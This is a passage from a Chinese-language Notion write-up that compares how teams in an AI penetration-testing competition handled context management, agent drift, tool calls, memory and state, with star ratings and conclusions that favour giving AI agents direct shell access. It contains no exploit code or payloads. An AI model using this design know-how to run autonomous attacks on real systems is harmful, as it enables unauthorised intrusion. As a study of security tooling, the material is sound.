src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/gen07_context_management-20260217113443-6zex1ne.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-817d-886b-c83a21549a5a" alt="生成图片 - 上下文管理策略对比" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c8158ad13cb1d941c42db">生成图片 - 上下文管理策略对比</div><table class="notion-simple-table notion-block-30a0f0c5b87c815b9f23fe2a99385368"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c81ccac8fd335d4710ace"><td class="" style="width:120px"><div class="notion-simple-table-cell">战队</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">解决方案</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">效果评级</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">创新性</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">实用性</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8159ae16c358ed930d1d"><td class="" style="width:120px"><div class="notion-simple-table-cell">BinX</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">沙箱清洗</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8136a936ec15a79fdeea"><td class="" style="width:120px"><div class="notion-simple-table-cell">绿盟</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">共享笔记</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81a4bcd4ca0d839f7c6e"><td class="" style="width:120px"><div class="notion-simple-table-cell">Antix</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Jupyter状态</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td></tr></tbody></table><div class="notion-text notion-block-30a0f0c5b87c819daa57eb1b32ada329"><b>最佳方案：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d1a376c78b7ba8bae3"><li>BinX的沙箱清洗最彻底</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81fe9ebcf66020386001"><li>Antix的Jupyter状态最优雅</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8131bd89e7082b4d4c3f"><li>两者结合效果最佳</li></ul><hr class="notion-hr notion-block-30a0f0c5b87c8183a895e3ba73b3a8fc"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c818d9823c8c467472243" data-id="30a0f0c5b87c818d9823c8c467472243"><span><div id="30a0f0c5b87c818d9823c8c467472243" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c818d9823c8c467472243" title="问题2: Agent逻辑跑偏"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">问题2: Agent逻辑跑偏</span></span></h3><table class="notion-simple-table notion-block-30a0f0c5b87c81fcb910e0484cb3fd09"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c8155b871ef389938f6b0"><td class="" style="width:120px"><div class="notion-simple-table-cell">战队</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">解决方案</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">效果评级</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">系统性</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">实用性</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c816e85f5c06bf4adf1e3"><td class="" style="width:120px"><div class="notion-simple-table-cell">BinX</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">意图图谱</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81deafb3de2a865d9ab3"><td class="" style="width:120px"><div class="notion-simple-table-cell">绿盟</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">三大纠偏机制</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81c4964cc309d5f325e4"><td class="" style="width:120px"><div class="notion-simple-table-cell">NeuroSploit</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Apache Burr</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c814dbe3eeaf587d2db0b"><td class="" style="width:120px"><div class="notion-simple-table-cell">yhy0</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">顾问介入</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td></tr></tbody></table><div class="notion-text notion-block-30a0f0c5b87c816e9a79c43706f97cb4"><b>最佳方案：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b88bdbfcff63a72901"><li>BinX的意图图谱最系统</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81abab79fcd824d9d148"><li>绿盟的纠偏机制最实用</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c816599bbccdb70dcbc30"><li>yhy0的顾问机制最创新</li></ul><hr class="notion-hr notion-block-30a0f0c5b87c8108b285fbad0f4b470f"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c817f90aeea6875b015b9" data-id="30a0f0c5b87c817f90aeea6875b015b9"><span><div id="30a0f0c5b87c817f90aeea6875b015b9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c817f90aeea6875b015b9" title="问题3: 工具调用低效"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">问题3: 工具调用低效</span></span></h3><table class="notion-simple-table notion-block-30a0f0c5b87c818aaa4cfc6f40a573e8"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c814b97fcd3ca9807e97a"><td class="" style="width:120px"><div class="notion-simple-table-cell">战队</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">解决方案</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">效果评级</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">简洁性</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">灵活性</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8163b93cf9fc9dd5f711"><td class="" style="width:120px"><div class="notion-simple-table-cell">Antix</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Meta-Tooling</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c81808f04f61eb321ce76"><td class="" style="width:120px"><div class="notion-simple-table-cell">BinX</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">元工具编排</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c818aa8ebc19ffb490c10"><td class="" style="width:120px"><div class="notion-simple-table-cell">NeuroSploit</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">MCP工具矩阵</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c810cb2a1c1a1a9c538a2"><td class="" style="width:120px"><div class="notion-simple-table-cell">长亭外</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">代码调用</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td></tr></tbody></table><div class="notion-text notion-block-30a0f0c5b87c81889db5d2a743c642cc"><b>最佳方案：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b0bbe5d7594108655f"><li>Antix的单一接口最简洁</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814eaec6c1882ae9b0dd"><li>长亭外的代码调用最精确</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81149b06e759e7545a78"><li>都值得学习</li></ul><hr class="notion-hr notion-block-30a0f0c5b87c81ffa668e3983e5fa5f5"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c817d8ceae75719b2096c" data-id="30a0f0c5b87c817d8ceae75719b2096c"><span><div id="30a0f0c5b87c817d8ceae75719b2096c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c817d8ceae75719b2096c" title="问题4: 经验无法积累"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">问题4: 经验无法积累</span></span></h3><table class="notion-simple-table notion-block-30a0f0c5b87c8113bf23d59671158375"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c811fb1efd797c8bc745e"><td class="" style="width:120px"><div class="notion-simple-table-cell">战队</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">解决方案</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">效果评级</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">完整性</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">独特性</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c816b9e77f6c4610cda78"><td class="" style="width:120px"><div class="notion-simple-table-cell">NeuroSploit</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">ReMem自进化</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c818e8ea6d2ac94ab72e7"><td class="" style="width:120px"><div class="notion-simple-table-cell">BinX</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">复盘层</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8115b7dbfd9e58dc5602"><td class="" style="width:120px"><div class="notion-simple-table-cell">港城大</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">持久化共享记忆</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐</div></td></tr></tbody></table><div class="notion-text notion-block-30a0f0c5b87c81ffae4fe8e97d0268e8"><b>最佳方案：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8157b005e336fd0a6755"><li>NeuroSploit的ReMem最完整</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81929ef9cb4ca06be61d"><li>唯一真正”自进化”的方案</li></ul><hr class="notion-hr notion-block-30a0f0c5b87c81569427c2a80900eddd"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c81d8adfed1796c752557" data-id="30a0f0c5b87c81d8adfed1796c752557"><span><div id="30a0f0c5b87c81d8adfed1796c752557" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81d8adfed1796c752557" title="问题5: 状态保持困难"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">问题5: 状态保持困难</span></span></h3><table class="notion-simple-table notion-block-30a0f0c5b87c81a38cdcd822120a7b9a"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-30a0f0c5b87c811a98aedb7902baac18"><td class="" style="width:120px"><div class="notion-simple-table-cell">战队</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">解决方案</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">效果评级</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">优雅性</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">效率</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c815991b5e9539224ec33"><td class="" style="width:120px"><div class="notion-simple-table-cell">Antix</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Jupyter Kernel</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐⭐</div></td></tr><tr class="notion-simple-table-row notion-block-30a0f0c5b87c8126856dc42b9641e152"><td class="" style="width:120px"><div class="notion-simple-table-cell">港城大</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">持久化共享记忆</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">⭐⭐⭐⭐</div></td></tr></tbody></table><div class="notion-text notion-block-30a0f0c5b87c81598d6bef0e0c5945b3"><b>最佳方案：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d2a022d42ebd5665d0"><li>Antix的Jupyter Kernel是最佳实践</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c818cb180d303dbbf6f82"><li>天然的状态保持，优雅高效</li></ul><hr class="notion-hr notion-block-30a0f0c5b87c8110b128d298c367741c"/><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-30a0f0c5b87c81fea875dc25c146f72e" data-id="30a0f0c5b87c81fea875dc25c146f72e"><span><div id="30a0f0c5b87c81fea875dc25c146f72e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81fea875dc25c146f72e" title="综合分析与总结"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">综合分析与总结</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c81f5bf88cf4186e78abf" data-id="30a0f0c5b87c81f5bf88cf4186e78abf"><span><div id="30a0f0c5b87c81f5bf88cf4186e78abf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81f5bf88cf4186e78abf" title="📊 一、核心结论"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📊 一、核心结论</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81f6b660ee0fab267869" data-id="30a0f0c5b87c81f6b660ee0fab267869"><span><div id="30a0f0c5b87c81f6b660ee0fab267869" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81f6b660ee0fab267869" title="结论1: AI渗透已进化为”自动化编程与执行系统”"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">结论1: AI渗透已进化为”自动化编程与执行系统”</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81538fcfef7023f7f35f"><b>关键洞察：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c815daff2f9b4a70876d3"><div><b>2025年的AI渗透实战已经脱离了”聊天机器人”的范畴进化为”基于MCP协议的自动化编程与执行系统”</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c81b5909dc65f633e2156"><b>证据：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81659ec9e51297f7422b"><li>✅ 长亭外：MPI（Model Programming Interface）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c818daec9e3e6b193e7f7"><li>✅ Antix：Meta-Tooling + Python执行</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81188d09dde33a531dfb"><li>✅ BinX：Python Meta-Tooling</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81df94d0d1d0ab2ff617"><li>✅ NeuroSploit：MCP工具矩阵</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d2b3f7d0821786fda3"><li>✅ 西交：XML协议 + 编码控制</li></ul><div class="notion-text notion-block-30a0f0c5b87c811eab7dc19a767142fb"><b>共同点：</b>
都在用<b>代码/协议</b>替代<b>纯Prompt</b></div><hr class="notion-hr notion-block-30a0f0c5b87c81d2a0cfeb13ae589f5d"/><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81798862e3e70d85d135" data-id="30a0f0c5b87c81798862e3e70d85d135"><span><div id="30a0f0c5b87c81798862e3e70d85d135" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81798862e3e70d85d135" title="结论2: 获胜关键 - 平衡”拒绝过度封装”与”结构化思考”"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">结论2: 获胜关键 - 平衡”拒绝过度封装”与”结构化思考”</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c813b8ef5c7cf7f167fa1"><b>两种极致的平衡：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81829ba4dc91a7f5d4cf" data-id="30a0f0c5b87c81829ba4dc91a7f5d4cf"><span><div id="30a0f0c5b87c81829ba4dc91a7f5d4cf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81829ba4dc91a7f5d4cf" title="像长亭那样：用严谨的工程代码规划路径"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">像长亭那样：用严谨的工程代码规划路径</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8107b1d6f19b57c507b0"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ed8440dc8534470057"><li>精确控制</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d28772dcd0e97a2c51"><li>稳定可靠</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8123b0aad1fc93b21bb3"><li>易于维护</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81168134c49deae53c57"><li>适合工程化</li></ul><div class="notion-text notion-block-30a0f0c5b87c81cf9f19feac18052183"><b>代表：</b> 长亭外（冠军）、西安交大（亚军）</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81969cb2d5ee0c755182" data-id="30a0f0c5b87c81969cb2d5ee0c755182"><span><div id="30a0f0c5b87c81969cb2d5ee0c755182" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81969cb2d5ee0c755182" title="像Antix那样：赋予AI直接操作Shell的自由度"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">像Antix那样：赋予AI直接操作Shell的自由度</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81fc8afcf434df64b8c2"><b>优势：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b5a998f5d03dfa8c8c"><li>极高灵活性</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811c872ce53310ef9484"><li>无限扩展性</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c810a98f9c8f9ad7dae92"><li>零调优通用性</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811b9c90f33cebe4d5ab"><li>应对未知场景</li></ul><div class="notion-text notion-block-30a0f0c5b87c81538c77f968fe19140e"><b>代表：</b> Antix（第四名）</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c818fb953d8be7d46c39a" data-id="30a0f0c5b87c818fb953d8be7d46c39a"><span><div id="30a0f0c5b87c818fb953d8be7d46c39a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c818fb953d8be7d46c39a" title="最佳实践：融合两者"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">最佳实践：融合两者</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81268181c3be4e8a68b1"><b>建议架构：</b></div><hr class="notion-hr notion-block-30a0f0c5b87c818c9dfeefd55cd4e38c"/><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81f384e5c43c249b4692" data-id="30a0f0c5b87c81f384e5c43c249b4692"><span><div id="30a0f0c5b87c81f384e5c43c249b4692" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81f384e5c43c249b4692" title="结论4: 底层模型能力决定上限"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 